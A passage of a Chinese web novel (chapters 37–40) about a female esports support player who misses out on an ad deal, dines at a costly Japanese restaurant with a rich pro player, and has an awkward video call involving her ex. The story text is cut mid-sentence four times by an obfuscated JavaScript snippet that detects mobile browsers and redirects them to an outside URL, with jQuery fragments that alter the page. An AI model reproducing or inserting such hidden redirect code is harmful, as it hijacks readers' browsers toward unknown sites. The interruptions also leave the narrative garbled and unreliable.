喜欢周六：当然啦，我在公关部也不算是一锤定音的leader，就算姜姜宝宝有意愿，后续合作走流程也是有风险的。只是她同意的话，我会尽最大努力去争取，我希望能给到她一些切实的、有用的助力。 阿鬣：@Ginger 不要接 阿鬣：也不是什么钱都要赚的，以后你可以去接更大的广告，可以跟外设合作或者那些冠名比赛的大品牌合作。不要丢了西瓜捡了芝麻！ …… 汤瑶万分不情愿，但看着群名明晃晃的Ginger核心粉丝群，咬咬牙给出了态度——Ginger：知道了，我会慎重考虑的。 靠，现在可怎么办啊。 汤瑶暂时把群收进了免打扰，愁眉苦脸的对着‘喜欢周六’的聊天小窗尴尬。 【喜欢周六】：没关系[耶][耶] 【喜欢周六】：宝宝不要为了大家的争论苦恼，不论是我还是那位妹妹出发点都是好的。不论如何，我支持她的那句“你以后还可以去接更大的广告”，因为我相信你是前途无量的宝宝，所以这一次的选择没那么重要 【喜欢周六】：看你自己就好啦。 【姜汁汽水】：…… 【姜汁汽水】：QAQ真的对不起 【姜汁汽水】：如果大家都不支持的话，可能我接这个广告也会影响你的KPI 【姜汁汽水】：我会努力的，我会有更多粉丝的 【喜欢周六】：好！我相信你！ 【喜欢周六】：但是等你出名了一定要照顾我的工作，合作的时候记得优惠一点呀[眨眼] 【姜汁汽水】：小熊敬礼.jpg …… 时间过得很快，汤瑶收假回到了基地，果然又多了几个刚从青训提上来的新面孔。Shark则是迟了十几天才出现，收拾了行李之后和大家一起吃了个践行饭，喝多了的经理含着泪拍他的脑袋，让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326043|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定要有出息。 汤瑶咬着维他茶的吸管从鼻子里嗤，暗暗道：呸，咒你这辈子上不了首发！ 日子就这样平静地过着，汤瑶和新AD的配合依然不错，不管是训练赛还是正式赛都可圈可点，教练也只是说熟悉一段时间会更默契，成绩会更上一层楼。她再次证明了自己的能力，在某个闲暇的午后美滋滋幻想着今年会被多少个队伍争抢，顺便刷着朋友圈。 结果往下一滑，就看到MIFA在两个小时发了条朋友圈。 是一张在影棚里的随手拍，工作人员的电脑里放着他举着唇釉的原图。配文是：专业摄影师认证，本少的脸巨上镜[可爱][可爱] 这个唇釉……好眼熟…… 她点开放大一看，想到了什么，连忙在对话页疯狂下翻，终于在找到了一个多月前的那个粉丝发来的商业合作，点开了PPT已核对，确认了是同款。 【姜汁汽水】：是J牌的那个最新系列吗吗？ 【MIFA】：你知道啊？ 【MIFA】：[满满当当的J牌化妆品] 【MIFA】：你要吗，哥给你员工价内购 【姜汁汽水】：？ 【MIFA】：[语音（低声）]但我说实话这个有点糊嘴啊，女孩子化妆品还是用大牌吧，口红又不贵。 【姜汁汽水】：接商单要赚我钱，脸呢 【MIFA】：QAQ不是我一个人啊 【MIFA】：[生无可恋摆造型的deserve.jpg] 【MIFA】：都是队友，他比我贵。他妈的，这牌子歧视打野。 【姜汁汽水】：所以，广告费有多少 【MIFA】：商业机密 【MIFA】：真不好说，签了合同的，而且现在刚拍，推广还没上呢。 【姜汁汽水】：好奇嘛qaq 【MIFA】：[语音]哎呀其实没多少的，俱乐部要收成，还要交税，我到手可能也就咳那十什么几……你懂吧~其实你不用好奇，你以后接了就知道了。 【姜汁汽水】：。。 【姜汁汽水】：w？ 【MIFA】：[语音]废话，难道十几块吗？ 汤瑶捧着手机呆了几秒，然后后悔得给了自己一巴掌。 靠，靠——靠！她现在想尖叫，想发疯，想撞墙！怎么当时不明白呢，她总共才几个粉丝啊，那些人能说出那种话恐怕是Lady shiva粉丝的串子吧！总之不像是正常人的回路，现在才是真的丢了西瓜……芝麻也没有啊。 高喊着某种响亮的旗号，说着要攻城略地，要开疆拓土，结果说得做得都是在把同类往死路上逼。现在好啦，自己喜提‘觉醒’赛博牌坊一座，粉丝群已经没人记得这件事了，但是男人已经用着美妆用品赚得盆满钵满了。 是啊，拒绝物化女性，人家换男人物化啦，现在流量话语权和钱都是男人的啦！这是她们想要的结果吗？女人不挣的钱，最后都到了男人的口袋。 她们乐不乐意汤瑶不知道，反正汤瑶不乐意。 看着这段时间因为大手大脚还有给家里打钱所以急剧缩水的余额，汤瑶在心里暗暗发誓——她再也，再也不会错过任何一个能合法合理赚钱的机会了。 38. 第 38 章 虽然什么都没发生，但还是感觉亏得内伤。 元宝安慰她经验比损失的广告费更重要，毕竟LDL选手的商单和LPL头部选手的商单价格肯定有相当的差距，所以就算错过了也不是多么夸张数字。现在想明白了，总比以后脑子不清楚的好。 明白道理和接受现实是两回事，光靠思想觉悟是很难消化这件事了，二队的假期很多，她趁着新假期之前标记了好几个餐厅，打算化悲愤于食欲，狠狠吃上一顿再说。她挑了又挑，把无法抉择的三个发了朋友，打算问问评论区的意见，如果顺便有个一起吃饭的搭子就更好了——毕竟她还想出片来着。 结果吃过的人倒是不少，正因如此，评价褒贬不一，害得她更犹豫了。而且她放假的时间在工作日，实在也没有同城又有时间的网友可以约上。正当她还在反复考虑性价比和位置的时候，收到了好友的分享消息。 【Foppish】：[店铺分享：Kurogi 黑木] 【Foppish】：这家好吃 汤瑶直接进X众点评，然后被四位数的单人餐震惊到瞳孔地震。拜托她候选里的餐厅人均还不够这家店的零头。她被自己穷笑了，打了个问号过去，对这种凡尔赛行为表示鄙夷。 【姜汁汽水】：你请我？ 【Foppish】：是啊 哦，想起来了，他之前说是请自己吃饭来着。但是……有必要吃这么贵吗？ 汤瑶是有点喜欢占小便宜，但仅限于自己能承担的。这顿饭咬咬牙倒是付得起，但心疼程度应该不亚于刚刚知道自己痛失广告费。跟他又没什么交情……但是话又说回来，他们这种人气选手随随便便一个商单就六位数，吃个千把来块的饭不就跟普通人吃几百块差不多嘛！起码他不像那种很小气的人，应该没什么关系。 最后还是食欲战胜了其他。 【姜汁汽水】：[可爱][可爱]好 【姜汁汽水】：你什么时候有空？几点？在哪？ * 因为这顿饭太贵完全超出了消费水平，一看就知道是别人请的，然而汤瑶并不打算表现得跟任何一个职业选手很熟，所以忍痛放弃了出片计划。当然也有好处，就是不用提前两个小时化妆打扮了。 赴约当天她连闹钟都没定，就着生物钟起来，洗了把脸擦了个防晒霜，就连头都是去理发店临时洗的。没化妆，戴了一个没有度数但的平光眼镜。虽然很想轻装到底，但到底是见外人，最后还是挑了一套简单的JK制服，外套是深咖色的薄款牛角扣大衣，不过配了一双走起来很舒服的同色系运动鞋——这样就不像出门拿快递了。 李君诚原本想开车来接她，但她觉得车程太久，两个人又没话讲，很可能没吃就倒胃口，所以拒绝了。两个人约在餐厅附近的商场，汤瑶坐了半小时地铁发现实在没位置，最后打车来的。她照着导航在原地转了半天圈圈，最后发现咖啡店就在下车的那个地方。 她退回去，眯着眼睛开始在顾客里找人。 结果发现李君诚就坐在靠着玻璃的桌子后面，明明一抬头就可以看到路口，但他只是心不在焉的咬着吸管。 靠！她气鼓鼓走进去，对上他茫然的视线，用大眼睛使劲瞪着他。刚想说话，突然想起来自己戴口罩了，气焰立刻灭了一半。她摘了口罩，发现他果然用新奇的眼神打量着自己，又有点尴尬的戴回去，开始后悔偷懒没化妆了：“走啊。” “喔。”李君诚拿着咖啡起身，把另一个袋子递给她。 她本来想说自己不喝咖啡，瞥了一眼发现是星冰乐，还是草莓轻乳酪的那款，就把话憋回去。 哇，就是应该在这种冷冰冰的天气吃冷冰冰的甜品。市中心商圈的人和车都很多，为了不走丢，她吃两口就要抬头确定对方的位置。走了一会儿，也就是等红绿灯的时间。她有点忍不住了：“你很冷吗？” 说着再次把他打量了一遍。 他穿了件深灰色的冲锋衣，没有拉拉链，里面是件橄榄色T恤之类的。在这个十来度的天气里应该正好。 ——“怎么耳朵都冻红了。” 李君诚尴尬地一摸耳朵，连连否认：“啊，不是啊，没有。我不冷。”装作很忙地看了看两边，“可能是风吹的，嗯。”又拿手机不知道在划什么，“餐厅在那边，要走一段路。” 汤瑶感觉他有点怪，又不知道哪里怪。她想了想，有了不详的预感：“你不会是骗我的吧？说请我吃饭，然后吃完了不付钱吧！” “你想什么呢？！”李君诚被她清奇的脑回路气笑了，“我在你眼中就是那种人吗？” 那肯定不是，经历了上次的事情，她确定他就是个人傻钱多的笨蛋直男。虽然对自己没什么意思，但人肯定不坏。她嘿嘿赔了两声笑：“哎呀，开玩笑嘛。你最好了！” 他的耳朵好像更红了。 “咳。”李君诚清了清嗓子，“今天是工作日，那边可以选坐哪里，你要是不好意思开口就提前跟我说。” “啊？……都行吧？”汤瑶吃东西还真没考虑过位置，“这有区别吗？” “吧台那边跟主厨互动比较多，吃omakase比较好，吃得时候可以听他讲解之类的。或者就正常吃怀石料理。” 什…什么？ “哦…哦什么C？”她听得一头雾水，“不是日本料理吗？” “omakase——就是，不对，你是不是根本没查这个店？”他看起来不怎么高兴，“你不看喜不喜欢就答应来吃吗？” 汤瑶有点尴尬，突然的自卑让她停在了原地。她捏紧了只有一半的星冰乐，在她的认知里这样一顿饭太昂贵，自己的潦草和敷衍似乎有些辜负这份心意了：“那个，刚我看到商城那边新开了家小龙坎，要回去吃那个不？” 她怕他生气，所以有点讨好的去牵他的袖子，“AA？我请你也行。” 李君诚完全不知道她为什么突然这样说，但看得出她突然变得怯生生的，只好反抓住她的手腕，不许她走：“你只想吃不想听，那我们去包厢就行了吗？怎么了？你明明就很喜欢吃日料啊。” “算了，还算了。”汤瑶只是一味的拒绝。 挣扎了一下，发现不解释一下好像走不了，只好硬着头皮说，“我、我没查过那家店，也不知道你说的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326044|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个是什么……其实我根本分不清三文鱼和虹鳟鱼，日料店里最喜欢吃的是那种预制的芥末章鱼。说白了！我就压根吃不明白什么好东西！嗯……所以就……别浪费了吧。” “什么乱七八糟的。”李君诚还是没听懂，但就听懂她说确实喜欢吃日料了，不由分说就拽着她继续走，“你能吃你喜欢的，我也能请你吃饭，有什么浪费？哪里浪费？浪费什么？再说了，在S市你让我约女人出来只请吃火锅，把哥们当什么人了？除非你说你不喜欢，那就换个你喜欢的。” 好吧好吧，好像是自己想太多，自卑的时候就是会感觉全世界都看不起自己。 汤瑶最终还是克服了恐惧，坐在了黑珍珠餐厅的包厢里捧着加了这个和那个的大麦茶细细品味。直到李君诚回来，她也没觉得这玩意跟便利店四块钱一瓶的有什么区别。 他在她旁边坐下，把两张纸质菜单放到了她面前，笑眯眯的说：“我跟他们说过了，你放心吃就行了。他们只上菜，什么也不会说。你要是有什么想要问的或者喜欢吃的跟我说就行了。OK？” “……喔。好。”汤瑶十指交叉，紧紧扣着玻璃杯，一张素面朝天的脸对着他点头。 李君诚简单‘唔’了声，想移开眼睛，又忍不住看她。一点恰到好处的婴儿肥，又白又光滑的皮肤在有些暗的灯光显出非常漂亮的光泽，大大的黑框眼镜底下是一双大大的眼睛。不知道是不是有点局促，表情看起来也非常乖巧。可爱……真可爱。 他感觉耳朵又开始发烫了，低着头忍了两秒，没忍住又扭过去看她。 汤瑶当然注意到从见面开始他就一直在看自己了。之前见过那么多次，哪怕是上次吃饭，逛公园，他都没这样看过。她又害羞又生气，涨红了脸凶他：“怎么了怎么了！我就没化妆至于吗！真的差很多吗？啊？” ……？ “不、不是啊。” “就是啊！不然我下车在你面前走过你都没认出来！” “那是你戴口罩又戴眼镜啊！” “那你老看我干嘛？！” “……” “你说话啊！你老看我干嘛！” “……” “呃……”汤瑶看他耳朵红得像是电量不足时蓝牙耳机的信号灯，突然意识到了什么。她艰难地咽了口口水，心里冒出了一个全新的想法，可很快又被否定了——不应该吧。他要是喜欢自己，之前怎么不牵个手什么的。一人要是喜欢另一人，身体才是最诚实的吧！……嗯，可是这样的话，他到底脸红什么？啊啊啊，好可怕的思路，不要想了，不要想了！ 她逼着自己不去想，也没有问。 不论这个问题的答案不论是“是”还是“不是”，都会让场面变得很尴尬。 咚咚咚—— 门被敲了敲，服务生热情的声音传了过来：“你好。”陌生人的出现恰好打断了尴尬的气氛，穿着制服的小姐姐端着一个木盘，将两个小小的碗放到两人面前。因为被特别叮嘱过，只是简单说了一下名字，就轻声退出去了。 汤瑶看了看碗里小小一口，又比了比自己的手掌：“不是，这是喂猫的？” 39. 第 39 章 贵确实有贵的道理，这家餐厅的刺身口感和之前吃过的完全不一样。金枪鱼肉有着奶油一样的口感，甜甜的，轻轻一抿就会化开。海胆更是饱满鲜甜，一丁点儿鲜味都没有。因为没有解说，她也不知道这样的食材有着怎样昂贵不易的来历，所以满意又不满意的。 好吃是好吃，就是太少了。 眼看着服务生送来一口乌冬面说接下来就甜品了，但肚子还没半饱。 为了吃这一顿昨天晚饭就没吃，还坐了这么久车过来，结果这……唉。就算不是自己出钱，也…… 汤瑶不好意思抱怨，只能挑起一根面条慢慢啃。 ——“刚刚那个牛肉海胆卷还想吃吗？鱼子酱要不要多一点。” 也许是看出了她的意犹未尽，李君诚忽然问。 “昂……”汤瑶抿断了面条，有点不好意思，“不好吧，套餐不是固定的嘛。” “可以另点呀。”他说，“这边还有个芝麻鹅肝也很好吃，这次菜单上没有，你想尝尝吗？” “emm……”她咬着嘴巴，不好意思吭声。 “OK。”他当她默认了，想了想又问，“刺身还吃吗？看你挺喜欢吃甜虾和金枪鱼大腹，也再来一份？” 汤瑶就是这么没骨气的人，虽然有很多虽然，但好吃的食物就是万能灵药。跟着心情飞起来的颧骨让她没办法再矜持了，露出可爱又害羞笑容：“嗯嗯！” 他知道她满意，看她笑他就觉得很满足：“行，我去说。甜品就晚一点上吧。” 她点点头，又开始笑。 * 李君诚真的很喜欢看汤瑶吃东西，第一次见面的时候，他还不知道她是谁，就注意到她了。 小小的一个女孩子，化着很俗气的妆，眼线又粗又黑，唇釉很闪亮，像某种廉价又甜蜜的水果糖包装纸。玩狼人杀的时候神采飞扬，她是个情绪特别挂脸的人，尤其撒谎的时候她会装得很正义，但只要有人上当，眼底就会涌起那种激动又满足的精明光芒，像是不该出现在地摊里的漂亮珠子。 不知道别人是怎么想的，反正他是无视了底牌每把都心甘情愿倒戈，可惜不是每把都敌对，她也没骗自己几轮。到是真白被气得对他破口大骂，并且发誓这辈子再也不会跟他打狼人杀。 然后呢，她吃东西的时候可爱。有好吃的就大口大口咀嚼，不好吃的就皱着眉一点点啃，什么好吃什么不好吃，一看她的表情就清楚了。 李君诚家境优渥，从小吃惯了好东西，对食物一向非常挑剔，所以聚餐的时候总是兴致缺缺，很少动筷子，结果那天胃口好到知道他挑食的真白很诧异的问他这是饿了几天。说真的，他最抗拒吃冻品，那种早已死掉的东西被低温强行留存，重新被加热之后放到嘴里的口感就像是在嚼瘪掉的蚕茧，光想一下就反胃得不行，他都不知道自己是怎么吃下去的。 他也是后来才明白的——胃是身体的情绪器官。 那种一见到她就油然而生的饥饿，其实并不出于食欲。 * “真的、好、好、吃啊！”汤瑶又露出高兴又失落的表情，换了个语气，“唉。真好吃。” 李君诚笑：“干嘛？好吃怎么这个表情？” “真好吃啊，吃完我都不想吃几百块的自助了……”她叹气，“可这个也太贵了，我自己吃不起。” “还好，S市玩的没有，好吃的餐厅很多。只要你想吃，我有空就带你去吃。这边以后想来也还可以来。” “你有那么多钱？”汤瑶想了想，觉得没必要问这个，于是换了一个，“你怎么就有这么多钱？！” 他一挑眉，用很欠揍的语气笑：“命好咯。” 汤瑶翻了个白眼，气鼓鼓的吃了口鱼肉：“我恨你们有钱人。”想了想，忽然又看向他。她再次鼓起脸颊，露出拿到狼人想要倒钩时的那种甜美笑容，“说话算话吗？” “我骗过你吗？” “好吧。”她信誓旦旦，“等着吧，碰到我算你倒霉。我给你圈得裤衩子都只能买二手的。” 李君诚扬了扬下巴，支在桌子上的那只手伸出来，食指在她面前来回地摆：“不是我看不起人，以你现在的消费能力，想刷爆我的副卡都有难度。” “你这已经非常看不起人了！” 他看了下时间，本来就为了错峰避开了饭点，这会儿时间还很早：“恒隆就在边上，怎么说，给你个机会让我看看你有多能圈。嗯？” 虽然汤瑶有那么点尴尬得想替他抠脚指头，但又莫名的感觉他能说到做到。 ……真能有那么有钱吗？妈的，果然是只要站在风口上，猪都能飞起来。 自己要是早出生几年，再多长根东西，现在应该也能在夜总会抱着八个男模…哦不，女模开香槟塔吧。 当然，没有说李君诚是猪的意思。 “神经病。”汤瑶不置可否，因为吃得有点饱了，所以话匣子也打开了，“有人说过你人傻钱多吗？” “钱多有，人傻没有。” “好吧。”她想了想，忍不住八卦起来，“我一直都很好奇，你们这种长得不错的选手怎么都不谈恋爱，粉丝不是超级多吗？每次赛后采访全是美女，私信应该被问爆了吧！MIFA就不说了，像Deserve，之前退役的Ryne什么的……反正我感觉好看的都单身诶，到是一些长得比较呃呃到是各种谈美女。” “谁说不谈了，只是不会往外说而已。谢回是不谈，但他玩得花啊，你认识他就知道了，他一放假就喝酒……算了，啧，反正……他就是很装，我跟他关系还行，就不多说什么了。而且你也知道选手很多粉丝倒贴，根本就不用谈恋爱，谈恋爱反而更麻烦，你看那些翻车的不都有前女友爆料么？” 呵呵，男人真的很精明，好的坏的心里门清，到底是谁在给大众洗脑说什么男人没心眼儿啊！ “Deserve呢？他有女朋友吗？” “不知道，跟他不太熟。他跟谁都不怎么熟。他也装，死装死装的。但是他跟谢回不是同一种装，就是……嗯……怎么说呢，就是……他有点太有文化了，在我们一群文盲里面就显得他特别傻逼，特别装。你能懂吗？” 汤瑶深有同感，连连举起大拇指赞叹他这个精妙的比喻：“啊！！对对对，我也觉得有点！他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326045|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就一点儿都不像竞男啊，太有礼貌了，我好像都没见他说过脏话。” “装的。”李君诚说，“谁能一点儿脏话不说，他也就直播的时候端着而已。” “能端住已经很厉害了好吗，让你端你端得住吗？”汤瑶故意很鄙夷地瞪他一眼，“噫，人比人气死人，嫉妒人家？” “别逗了，他可哪儿都不如我。” “素质比你高。” “……除了这个！” 汤瑶本来想说成绩，话到嘴边想起来面前这人是个世亚，于是随口换了一句：“比你有钱，人家可是正儿八经住黄浦江边的沪少。” 李君诚仿佛听到了什么笑话，戴着运动手表的那只手又扬起来比了个手势：“开什么玩笑，他家A8都够呛。住黄浦江边就算少爷，那我是什么？” “谁知道你是什么！欸，什么A8？车吗？” “没什么，你理解成他是个穷B就行了。” 汤瑶发现李君诚的ID非常贴脸，如果要文明的词语形容他，那就只有‘纨绔’了。这已经不知道第多少次听他用这种形容乞丐的语气评价别人了。 她有点想打破砂锅问到底，问问他卡里到底有多少钱才能这么嚣张，又怕问到底了之后发现他就是个喜欢大手大脚花钱的普信男。 要知道雨不会一直下，但头会。 所以还是算了，管他是什么呢，反正就算是借网贷装大款也不关自己事。念在这些刺身的份上，她决定不反驳他了。 * 酒足饭饱，结账出门。李君诚扫完码，看到汤瑶等在边上玩手机。她今天没自拍，但拍了几道喜欢的菜，这会正敲着键盘不知道跟谁分享。他也不是故意的，但个子高的话就确实一低头就能瞥见，好巧不巧看到了某个熟悉的头像。 两人并肩走出去，她还在跟那个人一来一去的发表情包斗图。 李君诚没忍住，清了清嗓子开始说：“……如果谢回他们那种是装，张新宇就是纯贱，不仅他贱，他那个前女友林林也有病。这俩人一吵架路边狗都能挨一脚，之前有次他俩吃着饭突然吵起来在那互扇耳光，林琳泼他水给他妈我耳机泼坏了。纯神经病，一对儿。要我说，他俩迟早得复合。” “我又没问他。”汤瑶抓着手机，抬起眼看着他，“素质呢？偷看别人聊天！” 他别开脸：“……没看。” 汤瑶已经知道他的心思了，但她不想拒绝也不想负责，所以故意说：“我知道他不是个好东西啊，但是他总找我，我也不好不理他。再说了，英雄联盟确实是他手把手教我玩的，有个词儿叫什么？喔，雏鸟情节。你听说过没？” “哦。”难得轮到李君诚说这个字。 “安啦，我知道他是打发时间，我也只是无聊。” “不关我事。”他表现得很冷淡，不知道是不是装出来的。 “行呗~”汤瑶巴不得他离自己的私生活再远点，“那要是没什么事儿我就回去了？” 他有点意外：“不去恒隆了吗？” “你有病啊！”汤瑶白他一眼，扬了扬手机上的打车软件，“允许你送我到路口。” 40. 第 40 章 【Zbai】：？ 【Zbai】：前几天李君诚是不是去跟你吃的饭[坏笑] 【姜汁汽水】：关你屁事 【Zbai】：什么时候跟我吃饭 【姜汁汽水】：no 【Zbai】：？ 【Zbai】：[对方已拒绝] 【Zbai】：接 【姜汁汽水】：在打游戏 【Zbai】：你俩不会真搞上了吧？ 【姜汁汽水】：搞你[马] 【姜汁汽水】：有病 …… 真就是距离产生美，如果说最开始重逢有那么点儿说不清道不明的感情在，还会因为看他到他跟正牌嫂子的消息不是滋味，那么现在每次回复都只是担心账号的事情东窗事发罢了。 随着时代进步，现在电竞选手已经不是丑男的代名词了，见多了天生丽质的各种帅哥，他那打过玻尿酸的脸可以说是不忍猝读。她越来越明白，当初那些美好的寄托其实大部分都来源于自己的幻想，真实的‘真白’就是个普通又低级的标准竞男。 她是真的很希望他早点和那个富家女复合，这样自己就能名正言顺和他划清界限了。 汤瑶打了两把排位，然后就是开会、复盘、训练赛，因为是指挥位，所以单独又和教练聊了会。等忙完了再看手机，发现有20多条真白的未读消息。 老说他烦人，但这么消息轰炸还是头一回。 汤瑶毫无防备的点进聊天窗口，然后呆住了—— 十几张照片里面穿插着一些聊天记录截图和零碎的消息转发，大部分是四人或者多人聚会的合照，但也有非常亲密的对镜情侣自拍。女方非常漂亮，和有一头柔顺光泽的头发，身材瘦而不柴，贵气感扑面而来，一看就是养尊处优的大小姐。她举着手机，连手指都分明纤长，幸福地贴着单手插兜的还停留在寸头时期的李君诚身边。 就像是不小心吃了一颗没熟的杏子，没有任何防备的，酸涩感在心里炸开，连舌尖都变麻了。 【姜汁汽水】：很配。 真心话。 只有帅哥美女才能随手拍都出片，换做自己在那里可能会显得男方像个提了半扇猪肉的屠夫吧。 【ZBai】：[抠鼻] 【ZBai】：听八卦不 【姜汁汽水】：不听 【ZBai】：这么在乎 【姜汁汽水】：？ 【姜汁汽水】：那你说 【ZBai】：打视频 【ZBai】：好久没看你了 【姜汁汽水】：爱说不说，不说滚 【ZBai】：唉，真不是，打字怎么讲得清楚！ 这个视频要是不接，不知道他为了软磨硬泡还搞出什么乱七八糟的事情来。 汤瑶没办法，从床上爬起来拆了副日抛，简单化了个妆，同意了。 视频接通，先是一团雾气，然后就是混沌的灯光和模糊的脸。真白正靠在窗边抽烟，皱着眉盯着屏幕，得逞的笑了下：“妈的，想跟你打个视频真不容易。”打量了一会，“瘦了。感觉你脸好像小了。” “关你屁事。”汤瑶还是这句话。 她缩小了他的画面，把自己的脸放大到整个屏幕，拿梳子对着镜头刮了几下刘海。 真白嘿嘿一笑：“你先跟我说，你俩吃饭是谁喊的谁。” 就知道是他想八卦。 汤瑶连语气都不带改：“关你屁事。” 真白只是感慨：“你还挺精，李君诚巨他妈有钱，你要真跟他成了，绝对血赚。” 这倒是说到汤瑶好奇的点上了，她实在太穷，所以对富根本没概念。听到世冠用这种语气描述世亚，她才模模糊糊的意识到李君诚应该不是靠选手红利咸鱼翻身的那种普通人。她忍不住问：“所以这个‘巨他妈’有钱，到底是多有钱？他富二代吗？打不出成绩就要继承家业那种？” 真白一副仿佛把她看透的了然表情，神神秘秘的卖关子：“反正我这么跟你说，他前女友就是我前女友的朋友，我俩为了帮她硬撮合大半年成了。我跟你说，你对我态度好点，我帮你追他。” 女生在八卦方面天赋异禀，汤瑶看的时候就发现聊天截图和转发消息的时间都集中在前年年底和去年年初，从那些合照的衣服也看得出跨度不超过三个季节，加上作为选手全年的形象都有迹可循，随便翻一下就查得出来合照里的寸头已经是一年前了。 ……至于为什么在短短几分钟里就扒了个底朝天，那别管。 她把手机架到桌子上，又从抽屉里摸出一把锉刀磨指甲，眼也不抬一下：“我追你妈。”想了想又嘲讽，“撮合那么久，谈了的时间又撮合的时间长吗？你俩好像不太靠谱啊。” “这重要吗？你只要知道他给人家光Birkin就买了两只就行了。” “啥？” “……Birkin就……啧，爱马仕啊。爱马仕你不知道吗？爱马仕的铂金包！你是不是女生啊，包你不懂？” “好像听说过。”但是汤瑶不感兴趣，“不知道咋了，我对包又不感兴趣。二十块钱不也能背吗？” 知道和经历果然是完全不同的感受，虽然对真白的滤镜早就碎了一地，但这么直观的从镜头里感受他几乎冲出屏幕的势利和市侩，还是被狠狠冲击到了。和他这副拜金的嘴脸比起来，自己简直清新脱俗！ 她不知道他说的助攻是真是假，但她确实不感兴趣，甚至真诚的给了个建议：“我建议你自己上，你们又是队友又住一起，还是双人组。AD爱上辅助可是天经地义的事情，全世界都会祝福你们的——包括我。” “切，你就嘴硬吧。”真白吞云吐雾，正要说话，背后却传来了敲门声。 应该是其他队员，但听得不太清楚：“宇，G哥找你。”G哥就是AWA的教练。 “哦，好吧。”真白掐了烟，环顾了一下房间，随手把烟头丢出了窗外，“等我一会儿。”根本没给她拒绝的机会，他把手机放到窗边，出去了。 汤瑶知道如果挂了还他还会找机会打过来，她可不想再多化一次妆了，一次性给他看够，反正也不会少块肉。 汤瑶切掉了视频画面，随手调出了后台里的微博，结果内容还停留在广场搜索''foppish 发型''的页面，于是立刻退出去关闭程序。半秒不到，脸就莫名其妙红起来。不行、不行……她双手捂住脸，试图靠胡思乱想把那些纷杂的思绪赶出脑海。 心乱了，又没戴耳机，没有注意真白的房门又被打开了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326046|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> * “我草。”李君诚走了两步就退了出去，关上门大骂，“张新宇你他妈又在房间里抽烟！” 结果被队友告知他跟教练开会去了，无奈的叹了口气，重新推门走了进去，一直走到窗户边把窗户全都打开到最大才开始正常呼吸，然后嘀嘀咕咕的又骂了两句。一低头，就看到被放在角落里还没熄屏的手机。 原本还是模糊一片，他刚刚凑过去看，镜头突然就动了。 另一边的人刚刚调整好状态，正打算用摄像头当镜子整理一下头发，结果就对上一张湿漉漉的，好看的但惊讶的另一张脸。 汤瑶被吓得心脏起码停跳了两拍，但只是用喉咙里挤出一点儿破碎的呼声——原来人在极度恐惧的时候是发不出声音的。 “……” “……” 李君诚刚洗完澡，半干的头发还在滴水，脸上有轻微的泛红，皮肤在灯光下显得特别清透。他看起来有点生气：“你为什么在跟他打视频。” “哈哈，哈喽啊。”汤瑶紧紧盯着他，看起来好像有点死，其实在头脑风暴想着要怎么才能让他不要切出这个画面看到那些聊天记录，“你这个点洗澡啊！哈哈，不错不错！嗯，挺爱干净的。” 李君诚盯着她的脸研究了一会儿，发现她好像化了点淡妆——这样的话，她只在自己面前素颜过嘛，看来自己和其他男人还是有很大区别的。 不过大晚上打视频还是太亲密了吧！ 就算想找人陪难道自己还会排在张新宇后面吗？！哦不对……刚刚洗澡没拿手机，我手机在哪来着？他拿着手机开始找手机，“你俩聊什么呢？” “……呃，随、随便聊。”汤瑶开始胡言乱语，人在心虚的时候逻辑能力就很差，“我问他有没有腹肌，嗯，对，就是这样。” “他根本就没有，也敢接视频？他要不要脸？”李君诚在枕头底下摸了一遍也没找到手机，但听到汤瑶这样说就停住了。越想越气，拿着手机的手抬起，镜头被拉远，就这么撩起了衣服，“不过我有。” 卧槽… 卧槽… 好细的腰，好分明的肌肉线条，好色//情的青筋…… 不对不对，现在不是流口水的时候。 汤瑶手忙脚乱，又捂鼻子又捂脸：“谁、谁要看你了！你赶紧把别人手机放下来。” 李君诚脸色一黑，几乎有点咬牙切齿：“他到底跟你说我什么了？” “啊啊啊啊——你不要看啊！！”汤瑶终于知道手伸不进屏幕的那种无力感了，“啊啊啊你这是侵犯别人隐私权啊啊啊！！” 